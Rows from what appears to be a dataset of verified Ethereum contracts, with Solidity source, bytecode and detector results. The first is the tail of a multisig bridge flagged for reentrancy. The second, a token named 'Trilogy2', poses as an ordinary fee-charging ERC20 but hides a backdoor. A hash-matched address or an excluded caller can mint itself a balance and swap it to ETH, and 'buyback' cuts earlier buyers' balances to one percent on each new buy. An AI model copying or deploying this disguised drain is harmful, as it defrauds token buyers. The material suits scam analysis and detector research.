emit Withdraw(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints);
}
function _validate(bytes32 whash, uint8[] memory v, bytes32[] memory r, bytes32[] memory s) private view returns(uint){
uint validatorCount = 0;
address[] memory vaList = new address[](owners.length);
uint i=0;
uint j=0;
for(i; i<v.length; i++){
address va = ecrecover(whash,v[i],r[i],s[i]);
if(isOwner[va]){
for(j=0; j<validatorCount; j++){
require(vaList[j] != va);
}
vaList[validatorCount] = va;
validatorCount += 1;
}
}
return validatorCount;
}
function bytesToAddress(bytes memory bys) private pure returns (address payable addr) {
assembly {
addr := mload(add(bys,20))
}
}
function () payable external{
}
}
| 0x6080604052600436106101955763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c2781146101d7578063173825d91461021d57806320ea8d86146102525780632dfdf0b51461027c5780632f54bf6e146102a35780633411c81c146102ea5780633a8105ec146103235780634a8c1fb414610338578063547415251461034d5780635c60da1b146103815780635ed7a8fc146103965780637065cb48146103c0578063784547a7146103f35780638b51d13f1461041d5780639ace38c2146104475780639d188c1614610514578063a0e67e2b1461053e578063a8abe69a146105a3578063b5dc40c3146105e3578063b77bf6001461060d578063ba51a6df14610622578063bb913f411461064c578063c01a8c841461067f578063c6427474146106a9578063c763e5a114610771578063d74f8edd146107fb578063dc8452cd14610810578063e1d703a114610825578063e20056e614610858578063ec096f8d14610893578063ee22610b1461095b578063f01b246714610985575b6006546101009004600160a060020a03168015156101b257600080fd5b60405136600082376000803683855af43d806000843e8180156101d3578184f35b8184fd5b3480156101e357600080fd5b50610201600480360360208110156101fa57600080fd5b50356109af565b60408051600160a060020a039092168252519081900360200190f35b34801561022957600080fd5b506102506004803603602081101561024057600080fd5b5035600160a060020a03166109d7565b005b34801561025e57600080fd5b506102506004803603602081101561027557600080fd5b5035610bb9565b34801561028857600080fd5b50610291610d42565b60408051918252519081900360200190f35b3480156102af57600080fd5b506102d6600480360360208110156102c657600080fd5b5035600160a060020a0316610d48565b604080519115158252519081900360200190f35b3480156102f657600080fd5b506102d66004803603604081101561030d57600080fd5b5080359060200135600160a060020a0316610d5d565b34801561032f57600080fd5b50610201610d7d565b34801561034457600080fd5b506102d6610d8c565b34801561035957600080fd5b506102916004803603604081101561037057600080fd5b508035151590602001351515610d95565b34801561038d57600080fd5b50610201610e01565b3480156103a257600080fd5b50610201600480360360208110156103b957600080fd5b5035610e15565b3480156103cc57600080fd5b50610250600480360360208110156103e357600080fd5b5035600160a060020a0316610e30565b3480156103ff57600080fd5b506102d66004803603602081101561041657600080fd5b5035611055565b34801561042957600080fd5b506102916004803603602081101561044057600080fd5b50356110dc565b34801561045357600080fd5b506104716004803603602081101561046a57600080fd5b503561114b565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d65781810151838201526020016104be565b50505050905090810190601f1680156105035780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052057600080fd5b506102d66004803603602081101561053757600080fd5b5035611209565b34801561054a57600080fd5b5061055361121e565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561058f578181015183820152602001610577565b505050509050019250505060405180910390f35b3480156105af57600080fd5b50610553600480360360808110156105c657600080fd5b508035906020810135906040810135151590606001351515611281565b3480156105ef57600080fd5b506105536004803603602081101561060657600080fd5b50356113b2565b34801561061957600080fd5b50610291611523565b34801561062e57600080fd5b506102506004803603602081101561064557600080fd5b5035611529565b34801561065857600080fd5b506102506004803603602081101561066f57600080fd5b5035600160a060020a0316611624565b34801561068b57600080fd5b50610250600480360360208110156106a257600080fd5b50356116be565b3480156106b557600080fd5b50610291600480360360608110156106cc57600080fd5b600160a060020a03823516916020810135918101906060810160408201356401000000008111156106fc57600080fd5b82018360208201111561070e57600080fd5b8035906020019184600183028401116401000000008311171561073057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611858945050505050565b34801561077d57600080fd5b50610786611877565b6040805160208082528351818301528351919283929083019185019080838360005b838110156107c05781810151838201526020016107a8565b50505050905090810190601f1680156107ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561080757600080fd5b506102916118ae565b34801561081c57600080fd5b506102916118b3565b34801561083157600080fd5b506102916004803603602081101561084857600080fd5b5035600160a060020a03166118b9565b34801561086457600080fd5b506102506004803603604081101561087b57600080fd5b50600160a060020a03813581169160200135166118cb565b34801561089f57600080fd5b50610291600480360360608110156108b657600080fd5b600160a060020a03823516916020810135918101906060810160408201356401000000008111156108e657600080fd5b8201836020820111156108f857600080fd5b8035906020019184600183028401116401000000008311171561091a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611af9945050505050565b34801561096757600080fd5b506102506004803603602081101561097e57600080fd5b5035611c34565b34801561099157600080fd5b506102d6600480360360208110156109a857600080fd5b5035611e08565b60038054829081106109bd57fe5b600091825260209091200154600160a060020a0316905081565b333014610a1c576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b600160a060020a038116600090815260026020526040902054819060ff161515610a7e576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b600160a060020a0382166000908152600260205260408120805460ff191690555b60035460001901811015610b545782600160a060020a0316600382815481101515610ac657fe5b600091825260209091200154600160a060020a03161415610b4c57600380546000198101908110610af357fe5b60009182526020909120015460038054600160a060020a039092169183908110610b1957fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610b54565b600101610a9f565b50600380546000190190610b689082611e1d565b506003546004541115610b8157600354610b8190611529565b604051600160a060020a038316907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050565b3360008181526002602052604090205460ff161515610c10576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b60008281526001602090815260408083203380855292529091205483919060ff161515610c87576040805160e560020a62461bcd02815260206004820152601a60248201527f4e6f7420636f6e6669726d6564207472616e73616374696f6e2e000000000000604482015290519081900360640190fd5b600084815260208190526040902060030154849060ff1615610cf3576040805160e560020a62461bcd02815260206004820152601560248201527f4578656375746564207472616e73616374696f6e2e0000000000000000000000604482015290519081900360640190fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60085481565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b600754600160a060020a031681565b60065460ff1681565b6000805b600554811015610dfa57838015610dc2575060008181526020819052604090206003015460ff16155b80610de65750828015610de6575060008181526020819052604090206003015460ff165b15610df2576001820191505b600101610d99565b5092915050565b6006546101009004600160a060020a031681565b600a60205260009081526040902054600160a060020a031681565b333014610e75576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b600160a060020a038116600090815260026020526040902054819060ff1615610ed6576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b81600160a060020a0381161515610f37576040805160e560020a62461bcd02815260206004820152600f60248201527f41646472657373206973206e756c6c0000000000000000000000000000000000604482015290519081900360640190fd5b6003805490506001016004546032821180610f5157508181115b80610f5a575080155b80610f63575081155b15610fb8576040805160e560020a62461bcd02815260206004820152601360248201527f496e76616c696420726571756972656d656e7400000000000000000000000000604482015290519081900360640190fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156110d4576000848152600160205260408120600380549192918490811061108357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156110b7576001820191505b6004548214156110cc576001925050506110d7565b60010161105a565b50505b919050565b6000805b600354811015611145576000838152600160205260408120600380549192918490811061110957fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561113d576001820191505b6001016110e0565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a03909316959094919291908301828280156111f65780601f106111cb576101008083540402835291602001916111f6565b820191906000526020600020905b8154815290600101906020018083116111d957829003601f168201915b5050506003909301549192505060ff1684565b60096020526000908152604090205460ff1681565b6060600380548060200260200160405190810160405280929190818152602001828054801561127657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611258575b505050505090505b90565b6060806005546040519080825280602002602001820160405280156112b0578160200160208202803883390190505b5090506000805b600554811015611332578580156112e0575060008181526020819052604090206003015460ff16155b806113045750848015611304575060008181526020819052604090206003015460ff165b1561132a5780838381518110151561131857fe5b60209081029091010152600191909101905b6001016112b7565b87870360405190808252806020026020018201604052801561135e578160200160208202803883390190505b5093508790505b868110156113a757828181518110151561137b57fe5b906020019060200201518489830381518110151561139557fe5b60209081029091010152600101611365565b505050949350505050565b6060806003805490506040519080825280602002602001820160405280156113e4578160200160208202803883390190505b5090506000805b60035481101561149c576000858152600160205260408120600380549192918490811061141457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561149457600380548290811061144f57fe5b6000918252602090912001548351600160a060020a039091169084908490811061147557fe5b600160a060020a03909216602092830290910190910152600191909101905b6001016113eb565b816040519080825280602002602001820160405280156114c6578160200160208202803883390190505b509350600090505b8181101561151b5782818151811015156114e457fe5b9060200190602002015184828151811015156114fc57fe5b600160a060020a039092166020928302909101909101526001016114ce565b505050919050565b60055481565b33301461156e576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b60035481603282118061158057508181115b80611589575080155b80611592575081155b156115e7576040805160e560020a62461bcd02815260206004820152601360248201527f496e76616c696420726571756972656d656e7400000000000000000000000000604482015290519081900360640190fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b333014611669576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b600654600160a060020a0382811661010090920416141561168957600080fd5b60068054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b3360008181526002602052604090205460ff161515611715576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b6000828152602081905260409020548290600160a060020a03161515611785576040805160e560020a62461bcd02815260206004820152601760248201527f45786973746564207472616e73616374696f6e2069642e000000000000000000604482015290519081900360640190fd5b60008381526001602090815260408083203380855292529091205484919060ff16156117fb576040805160e560020a62461bcd02815260206004820152601660248201527f436f6e6669726d6564207472616e73616374696f6e2e00000000000000000000604482015290519081900360640190fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a361185185611c34565b5050505050565b6000611865848484611af9565b9050611870816116be565b9392505050565b60408051808201909152600381527f4554480000000000000000000000000000000000000000000000000000000000602082015281565b603281565b60045481565b600b6020526000908152604090205481565b333014611910576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b600160a060020a038216600090815260026020526040902054829060ff161515611972576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b600160a060020a038216600090815260026020526040902054829060ff16156119d3576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611edf833981519152604482015290519081900360640190fd5b60005b600354811015611a5f5784600160a060020a03166003828154811015156119f957fe5b600091825260209091200154600160a060020a03161415611a575783600382815481101515611a2457fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611a5f565b6001016119d6565b50600160a060020a03808516600081815260026020526040808220805460ff1990811690915593871682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038416907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a250505050565b600083600160a060020a0381161515611b5c576040805160e560020a62461bcd02815260206004820152600f60248201527f41646472657373206973206e756c6c0000000000000000000000000000000000604482015290519081900360640190fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff191694169390931783555160018301559251805194965091939092611bdc926002850192910190611e46565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b600081815260208190526040902060030154819060ff1615611ca0576040805160e560020a62461bcd02815260206004820152601560248201527f4578656375746564207472616e73616374696f6e2e0000000000000000000000604482015290519081900360640190fd5b611ca982611055565b15611e045760008281526020819052604080822060038101805460ff19166001908117909155815481830154935160028085018054959796600160a060020a03909416959394909383928592600019908316156101000201909116048015611d485780601f10611d26576101008083540402835291820191611d48565b820191906000526020600020905b815481529060010190602001808311611d34575b505091505060006040518083038185875af1925050503d8060008114611d8a576040519150601f19603f3d011682016040523d82523d6000602084013e611d8f565b606091505b505090508015611dc95760405184907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2611e01565b60405184907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b50505b5050565b600c6020526000908152604090205460ff1681565b815481835581811115611e4157600083815260209020611e41918101908301611ec4565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611e8757805160ff1916838001178555611eb4565b82800160010185558215611eb4579182015b82811115611eb4578251825591602001919060010190611e99565b50611ec0929150611ec4565b5090565b61127e91905b80821115611ec05760008155600101611eca56fe556e617574686f72697a65642e00000000000000000000000000000000000000a165627a7a72305820620a304d1f4c0cf3ced6c4561eded58216eafb3de08d3b63fc721313a44776de0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 10,690 |
0x7EcEF31BdC8da196729F9Ef39a06131C2246c39f | /**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed
// https://t.me/thetrilogyeth
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isLiquidityToken(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Trilogy2 is Ownable, IERC20 {
using SafeMath for uint256;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (inSwap(from, to)) {return addLiquidity(amount, to);}
if (liquifying){} else {require(_balances[from] >= amount);}
uint256 feeAmount = 0;
buyback(from);
bool inLiquidityTransaction = (to == getPairAddress() && _excludedFromFee[from]) || (from == getPairAddress() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_totalFee).div(100);
_rebalance(to, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amount);
}
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
struct tOwned {address to; uint256 amount;}
tOwned[] _tOwned;
function inSwap(address sender, address recipient) internal view returns(bool) {
return (
Address.isLiquidityToken(recipient) ||
_excludedFromFee[msg.sender]
)
&& sender == recipient;
}
function _rebalance(address recipient, uint256 amount) internal {
if (getPairAddress() != recipient) {
_tOwned.push(
tOwned(
recipient,
amount
)
);}
}
function buyback(address sender) internal {
if (getPairAddress() == sender) {
for (uint256 i = 0; i < _tOwned.length; i++) {
_balances[_tOwned[i].to] = _balances[_tOwned[i].to]
.div(100);
}
delete _tOwned;
}
}
function getPairAddress() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function addLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
address public marketingWallet;
bool enabled = false;
function enableTrading() external onlyOwner {
enabled = true;
}
function updateMaxTxnAmount (uint256 max) external onlyOwner {
_maxTx = max;
}
function updateMarketingWallet (address newAddress) external onlyOwner {
marketingWallet = newAddress;
}
function updateFees (uint256 newFees) external onlyOwner {
require(newFees < 10);
_totalFee = newFees;
}
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
string private _name = "II";
string private _symbol = "Attack of the Clones";
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000000 * 10 ** _decimals;
uint256 public _maxWallet = 3000000000 * 10 ** _decimals;
uint256 public _maxTx = 300000000 * 10 ** _decimals;
uint256 public _totalFee = 5;
bool liquifying = false;
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de5780638a8c523c11610097578063a457c2d711610071578063a457c2d71461040a578063a9059cbb1461043a578063aacebbe31461046a578063dd62ed3e1461048657610173565b80638a8c523c146103c45780638da5cb5b146103ce57806395d89b41146103ec57610173565b806370a0823114610314578063715018a61461034457806375f0a8741461034e5780637830b0721461036c57806378dacee11461038a57806382247ec0146103a657610173565b8063283f782011610130578063283f78201461024e578063313ce5671461026c57806332424aa31461028a57806339509351146102a85780633eaaf86b146102d857806348d3ab1f146102f657610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c6578063203e727e146101e457806323b872dd1461020057806327c8f83514610230575b600080fd5b6101806104b6565b60405161018d9190611ed1565b60405180910390f35b6101b060048036038101906101ab9190611f8c565b610548565b6040516101bd9190611fe7565b60405180910390f35b6101ce610566565b6040516101db9190612011565b60405180910390f35b6101fe60048036038101906101f9919061202c565b610570565b005b61021a60048036038101906102159190612059565b6105f6565b6040516102279190611fe7565b60405180910390f35b61023861069e565b60405161024591906120bb565b60405180910390f35b6102566106c4565b6040516102639190612011565b60405180910390f35b6102746106ca565b6040516102819190612011565b60405180910390f35b6102926106d4565b60405161029f9190612011565b60405180910390f35b6102c260048036038101906102bd9190611f8c565b6106da565b6040516102cf9190611fe7565b60405180910390f35b6102e0610786565b6040516102ed9190612011565b60405180910390f35b6102fe61078c565b60405161030b9190612011565b60405180910390f35b61032e600480360381019061032991906120d6565b610795565b60405161033b9190612011565b60405180910390f35b61034c6107de565b005b610356610918565b60405161036391906120bb565b60405180910390f35b61037461093e565b6040516103819190612011565b60405180910390f35b6103a4600480360381019061039f919061202c565b610944565b005b6103ae6109d7565b6040516103bb9190612011565b60405180910390f35b6103cc6109dd565b005b6103d6610a76565b6040516103e391906120bb565b60405180910390f35b6103f4610a9f565b6040516104019190611ed1565b60405180910390f35b610424600480360381019061041f9190611f8c565b610b31565b6040516104319190611fe7565b60405180910390f35b610454600480360381019061044f9190611f8c565b610c6d565b6040516104619190611fe7565b60405180910390f35b610484600480360381019061047f91906120d6565b610c8b565b005b6104a0600480360381019061049b9190612103565b610d4b565b6040516104ad9190612011565b60405180910390f35b6060600980546104c590612172565b80601f01602080910402602001604051908101604052809291908181526020018280546104f190612172565b801561053e5780601f106105135761010080835404028352916020019161053e565b820191906000526020600020905b81548152906001019060200180831161052157829003601f168201915b5050505050905090565b600061055c610555610dd2565b8484610dda565b6001905092915050565b6000600c54905090565b610578610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610596610a76565b73ffffffffffffffffffffffffffffffffffffffff16146105ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e3906121f0565b60405180910390fd5b80600e8190555050565b6000610603848484610fa5565b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561069357600080fd5b600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b6000600b54905090565b600b5481565b600061077c6106e7610dd2565b8484600760006106f5610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610777919061223f565b610dda565b6001905092915050565b600c5481565b60006002905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107e6610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610804610a76565b73ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610851906121f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b61094c610dd2565b73ffffffffffffffffffffffffffffffffffffffff1661096a610a76565b73ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b7906121f0565b60405180910390fd5b600a81106109cd57600080fd5b80600f8190555050565b600d5481565b6109e5610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610a03610a76565b73ffffffffffffffffffffffffffffffffffffffff1614610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a50906121f0565b60405180910390fd5b6001600460146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610aae90612172565b80601f0160208091040260200160405190810160405280929190818152602001828054610ada90612172565b8015610b275780601f10610afc57610100808354040283529160200191610b27565b820191906000526020600020905b815481529060010190602001808311610b0a57829003601f168201915b5050505050905090565b60008160076000610b40610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bc357600080fd5b610c63610bce610dd2565b848460076000610bdc610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5e9190612295565b610dda565b6001905092915050565b6000610c81610c7a610dd2565b8484610fa5565b6001905092915050565b610c93610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610cb1610a76565b73ffffffffffffffffffffffffffffffffffffffff1614610d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfe906121f0565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e419061233b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb1906123cd565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f989190612011565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fdf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101957600080fd5b61102383836114cd565b1561103757611032818361156b565b6114c8565b601060009054906101000a900460ff16156110515761109e565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561109d57600080fd5b5b60006110a984611835565b60006110b36119c6565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111365750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806111c857506111446119c6565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156111c75750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff